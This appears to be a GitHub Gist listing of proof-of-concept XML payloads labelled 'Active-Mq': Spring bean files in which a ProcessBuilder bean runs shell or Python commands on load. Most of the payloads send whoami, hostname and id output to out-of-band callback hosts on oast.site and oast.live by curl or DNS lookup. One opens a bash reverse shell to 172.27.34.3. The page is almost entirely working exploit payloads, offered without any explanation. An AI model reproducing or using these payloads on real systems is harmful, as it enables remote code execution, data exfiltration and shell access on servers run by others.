Skip to content

Instantly share code, notes, and snippets.

@naval0505
naval0505 / poc104.xml
Created February 26, 2026 04:53
Active-Mq
<value>python3</value>
<value>-c</value>
<value>import os,base64,socket;u=base64.b64encode(os.popen('whoami').read().encode()).decode().strip();socket.gethostbyname(u+'.d6fsuvnp1kfsmoisn0pgwe3kx37dzbaut.oast.site')</value>
@naval0505
naval0505 / poc103.xml
Created February 26, 2026 04:51
Active-Mq
<value>bash</value>
<value>-c</value>
<value>curl http://d6fsuvnp1kfsmoisn0pgwe3kx37dzbaut.oast.site/?u=$(whoami)&h=$(hostname)&i=$(id)</value>
@naval0505
naval0505 / poc103
Created February 26, 2026 04:50
Active-Mq
<value>bash</value>
<value>-c</value>
<value>curl http://d6fsuvnp1kfsmoisn0pgwe3kx37dzbaut.oast.site/?u=$(whoami)&h=$(hostname)&i=$(id)</value>
@naval0505
naval0505 / poc102.xml
Created February 26, 2026 04:47
Active-Mq
<value>bash</value>
<value>-c</value>
<value>curl http://d6fsuvnp1kfsmoisn0pgwe3kx37dzbaut.oast.site/?u=$(whoami)&h=$(hostname)&i=$(id)</value>
@naval0505
naval0505 / poc101.xml
Created February 26, 2026 04:46
Active-Mq
<value>bash</value>
<value>-c</value>
<value>export DATA=$(whoami | base64 | tr -d '\n'); host $DATA.d6fsuvnp1kfsmoisn0pgwe3kx37dzbaut.oast.site</value>
@naval0505
naval0505 / poc100.xml
Created February 26, 2026 04:44
Active-Mq
<value>bash</value>
<value>-c</value>
<value>export DATA=$(whoami | base64 | tr -d '\n'); host $DATA.d6fsuvnp1kfsmoisn0pgwe3kx37dzbaut.oast.site</value>
@naval0505
naval0505 / poc94.xml
Created February 12, 2026 13:28
Active-Mq
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/172.27.34.3/5555 0>&1</value>
</list>
@naval0505
naval0505 / poc93.xml
Created February 12, 2026 13:24
Active-Mq
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>python3</value>
<value>-c</value>
<value>import os,socket; u=os.popen('whoami').read().strip(); socket.gethostbyname(u + '.d66t8vvp1kfsb3bqmtogxz1pxbaz1iwc4.oast.live')</value>
</list>
@naval0505
naval0505 / poc92.xml
Created February 12, 2026 13:22
Active-Mq
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>python3</value>
<value>-c</value>
<value>import os,socket; u=os.popen('whoami').read().strip(); socket.gethostbyname(u + '.d66t7vfp1kfscv43fhag6im3bcerhemwg.oast.live')</value>
</list>
@naval0505
naval0505 / poc91.xml
Created February 12, 2026 13:20
Active-Mq
python3 -c "import socket; socket.gethostbyname('$(whoami).d66t6rfp1kfscilitm5ghb9oexqup5uj9.oast.live')"